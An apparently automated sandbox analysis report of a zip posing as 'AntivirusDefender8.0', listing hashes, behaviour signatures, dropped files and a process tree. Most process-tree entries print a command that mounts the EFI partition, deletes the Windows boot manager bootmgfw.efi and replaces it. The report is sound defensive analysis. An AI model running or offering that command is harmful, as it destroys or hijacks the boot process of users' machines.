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Resubmissions

08/07/2024, 11:05

240708-m639fsyaph 4

08/07/2024, 11:00

240708-m359msxhrf 3

08/07/2024, 10:54

240708-mzmm5avgrj 3

08/07/2024, 10:49

240708-mw431axfra 7

08/07/2024, 10:46

240708-mtxwxaxfjc 3

08/07/2024, 10:42

240708-mrn6zsxekb 7

Analysis

  • max time kernel
    147s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    08/07/2024, 10:42

General

  • Target

    AntivirusDefender8.0-main.zip

  • Size

    34KB

  • MD5

    5c90630ffc59f7c9177238825bd053b5

  • SHA1

    1169dcec468c24a74e774405e570dc6c4916825e

  • SHA256

    1ee3788918d34886873b12b45d7723e64eebe81cd117dbbf95f75fb99b38ea2d

  • SHA512

    0ef1e0c24ca9001a30476eaa640ef3b36890af790e6a45d92fcae42436f80bc5039000c0e37101632e8cb890e4faef8de34cd3541e38e9c1527d812c3a357162

  • SSDEEP

    768:QDbFz8pPHib6SEJWNsjj45uY9FZ4nPl1SItgKb:QVwviSljj4VJOOapb

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 7 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 43 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.exe
    C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\AntivirusDefender8.0-main.zip
    1⤵
      PID:2208
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:1752
    • C:\Program Files\7-Zip\7zG.exe
      "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\" -an -ai#7zMap29943:108:7zEvent1090
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:996
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:2036
      • C:\Windows\system32\cmd.exe
        cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2020
        • C:\Windows\system32\mountvol.exe
          mountvol x: /s
          3⤵
            PID:2760
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:2752
        • C:\Windows\system32\cmd.exe
          cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2872
          • C:\Windows\system32\mountvol.exe
            mountvol x: /s
            3⤵
              PID:1908
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
          1⤵
          • Suspicious use of WriteProcessMemory
          PID:2052
          • C:\Windows\system32\cmd.exe
            cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1980
            • C:\Windows\system32\mountvol.exe
              mountvol x: /s
              3⤵
                PID:2112
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:336
            • C:\Windows\system32\cmd.exe
              cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:880
              • C:\Windows\system32\mountvol.exe
                mountvol x: /s
                3⤵
                  PID:1100
            • C:\Users\Admin\Desktop\AntivirusDefender8.0-main\RUNTHISFIRST.exe
              "C:\Users\Admin\Desktop\AntivirusDefender8.0-main\RUNTHISFIRST.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1700
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /c mountvol x: /s
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2348
                • C:\Windows\SysWOW64\mountvol.exe
                  mountvol x: /s
                  3⤵
                    PID:912
              • C:\Users\Admin\Desktop\AntivirusDefender8.0-main\RUNTHISFIRST.exe
                "C:\Users\Admin\Desktop\AntivirusDefender8.0-main\RUNTHISFIRST.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3008
                • C:\Windows\SysWOW64\cmd.exe
                  "cmd.exe" /c mountvol x: /s
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2108
                  • C:\Windows\SysWOW64\mountvol.exe
                    mountvol x: /s
                    3⤵
                      PID:2800
                • C:\Users\Admin\Desktop\AntivirusDefender8.0-main\RUNTHISFIRST.exe
                  "C:\Users\Admin\Desktop\AntivirusDefender8.0-main\RUNTHISFIRST.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:844
                  • C:\Windows\SysWOW64\cmd.exe
                    "cmd.exe" /c mountvol x: /s
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2632
                    • C:\Windows\SysWOW64\mountvol.exe
                      mountvol x: /s
                      3⤵
                        PID:1544
                  • C:\Users\Admin\Desktop\AntivirusDefender8.0-main\RUNTHISFIRST.exe
                    "C:\Users\Admin\Desktop\AntivirusDefender8.0-main\RUNTHISFIRST.exe"
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:404
                    • C:\Windows\SysWOW64\cmd.exe
                      "cmd.exe" /c mountvol x: /s
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:904
                      • C:\Windows\SysWOW64\mountvol.exe
                        mountvol x: /s
                        3⤵
                          PID:2964
                    • C:\Users\Admin\Desktop\AntivirusDefender8.0-main\RUNTHISFIRST.exe
                      "C:\Users\Admin\Desktop\AntivirusDefender8.0-main\RUNTHISFIRST.exe"
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:580
                      • C:\Windows\SysWOW64\cmd.exe
                        "cmd.exe" /c mountvol x: /s
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2212
                        • C:\Windows\SysWOW64\mountvol.exe
                          mountvol x: /s
                          3⤵
                            PID:2084
                      • C:\Users\Admin\Desktop\AntivirusDefender8.0-main\RUNTHISFIRST.exe
                        "C:\Users\Admin\Desktop\AntivirusDefender8.0-main\RUNTHISFIRST.exe"
                        1⤵
                        • Executes dropped EXE
                        PID:776
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd.exe" /c mountvol x: /s
                          2⤵
                            PID:2272
                            • C:\Windows\SysWOW64\mountvol.exe
                              mountvol x: /s
                              3⤵
                                PID:656
                          • C:\Users\Admin\Desktop\AntivirusDefender8.0-main\RUNTHISFIRST.exe
                            "C:\Users\Admin\Desktop\AntivirusDefender8.0-main\RUNTHISFIRST.exe"
                            1⤵
                            • Executes dropped EXE
                            PID:1428
                            • C:\Windows\SysWOW64\cmd.exe
                              "cmd.exe" /c mountvol x: /s
                              2⤵
                                PID:1868
                                • C:\Windows\SysWOW64\mountvol.exe
                                  mountvol x: /s
                                  3⤵
                                    PID:1636
                              • C:\Windows\system32\notepad.exe
                                "C:\Windows\system32\notepad.exe"
                                1⤵
                                  PID:1724
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
                                  1⤵
                                    PID:1032
                                    • C:\Windows\system32\cmd.exe
                                      cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
                                      2⤵
                                        PID:1648
                                        • C:\Windows\system32\mountvol.exe
                                          mountvol x: /s
                                          3⤵
                                            PID:2140
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
                                        1⤵
                                          PID:352
                                          • C:\Windows\system32\cmd.exe
                                            cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
                                            2⤵
                                              PID:2424
                                              • C:\Windows\system32\mountvol.exe
                                                mountvol x: /s
                                                3⤵
                                                  PID:2776
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
                                              1⤵
                                                PID:1248
                                                • C:\Windows\system32\cmd.exe
                                                  cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
                                                  2⤵
                                                    PID:2568
                                                    • C:\Windows\system32\mountvol.exe
                                                      mountvol x: /s
                                                      3⤵
                                                        PID:2676
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
                                                    1⤵
                                                      PID:1772
                                                      • C:\Windows\system32\cmd.exe
                                                        cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
                                                        2⤵
                                                          PID:812
                                                          • C:\Windows\system32\mountvol.exe
                                                            mountvol x: /s
                                                            3⤵
                                                              PID:1360
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
                                                          1⤵
                                                            PID:1608
                                                            • C:\Windows\system32\cmd.exe
                                                              cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
                                                              2⤵
                                                                PID:2036
                                                                • C:\Windows\system32\mountvol.exe
                                                                  mountvol x: /s
                                                                  3⤵
                                                                    PID:2868
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
                                                                1⤵
                                                                  PID:2852
                                                                  • C:\Windows\system32\cmd.exe
                                                                    cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
                                                                    2⤵
                                                                      PID:2296
                                                                      • C:\Windows\system32\mountvol.exe
                                                                        mountvol x: /s
                                                                        3⤵
                                                                          PID:2752
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
                                                                      1⤵
                                                                        PID:1516
                                                                        • C:\Windows\system32\cmd.exe
                                                                          cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
                                                                          2⤵
                                                                            PID:2052
                                                                            • C:\Windows\system32\mountvol.exe
                                                                              mountvol x: /s
                                                                              3⤵
                                                                                PID:2972
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /min /c "start cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y""
                                                                            1⤵
                                                                              PID:2120
                                                                              • C:\Windows\system32\cmd.exe
                                                                                cmd /c "mountvol x: /s && icacls x: && del x:\efi\microsoft\boot\bootmgfw.efi && copy bootmgfw.efi x:\efi\microsoft\boot\bootmgfw.efi /Y"
                                                                                2⤵
                                                                                  PID:488
                                                                                  • C:\Windows\system32\mountvol.exe
                                                                                    mountvol x: /s
                                                                                    3⤵
                                                                                      PID:600

                                                                                Network

                                                                                MITRE ATT&CK Enterprise v15

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                • C:\Users\Admin\Desktop\AntivirusDefender8.0-main\AntivirusDefender8.0.lnk

                                                                                  Filesize

                                                                                  1KB

                                                                                  MD5

                                                                                  3da7e181e7e2a7cb91b92cdaf0300c5b

                                                                                  SHA1

                                                                                  8d9691891d52d9ae7acbce140e49653d7225e5cd

                                                                                  SHA256

                                                                                  da6227b4b97a7b3de4abdf570873eedf44192180eb142bfabf91916fefefb41a

                                                                                  SHA512

                                                                                  cca8d154c6764a44914368af05259e35bf60dbc9b09b3842564521ecd99c9023b091113d9adebe7a868f2b96ef3542570bb3b2fca1bff35a15c27b837ad00296

                                                                                • C:\Users\Admin\Desktop\AntivirusDefender8.0-main\RUNTHISFIRST.exe

                                                                                  Filesize

                                                                                  9KB

                                                                                  MD5

                                                                                  1a7514c839000a811e123d97d818c1e9

                                                                                  SHA1

                                                                                  925b53693ef965b68c797eb5c995de539f0e0288

                                                                                  SHA256

                                                                                  cc3657cd6f186055334ccd88f8aac5457265a03b31274517d763fe32003b65ca

                                                                                  SHA512

                                                                                  15c101b2160b8cc9c0f94e6e9e0442598cb16b21b9b69cad48f3f0741e16885d3ddb4b2deafb4739c0ca1db4345f1f45ceae9dad08f21daafc38a8e99f3c4f91

                                                                                • memory/404-22-0x00000000002F0000-0x00000000002F8000-memory.dmp

                                                                                  Filesize

                                                                                  32KB

                                                                                • memory/580-24-0x0000000000920000-0x0000000000928000-memory.dmp

                                                                                  Filesize

                                                                                  32KB

                                                                                • memory/776-26-0x00000000012F0000-0x00000000012F8000-memory.dmp

                                                                                  Filesize

                                                                                  32KB

                                                                                • memory/844-20-0x0000000000020000-0x0000000000028000-memory.dmp

                                                                                  Filesize

                                                                                  32KB

                                                                                • memory/1428-28-0x0000000000140000-0x0000000000148000-memory.dmp

                                                                                  Filesize

                                                                                  32KB

                                                                                • memory/1700-16-0x0000000001390000-0x0000000001398000-memory.dmp

                                                                                  Filesize

                                                                                  32KB

                                                                                • memory/1752-0-0x0000000140000000-0x00000001405E8000-memory.dmp

                                                                                  Filesize

                                                                                  5.9MB

                                                                                • memory/1752-1-0x0000000140000000-0x00000001405E8000-memory.dmp

                                                                                  Filesize

                                                                                  5.9MB

                                                                                • memory/3008-18-0x0000000000C60000-0x0000000000C68000-memory.dmp

                                                                                  Filesize

                                                                                  32KB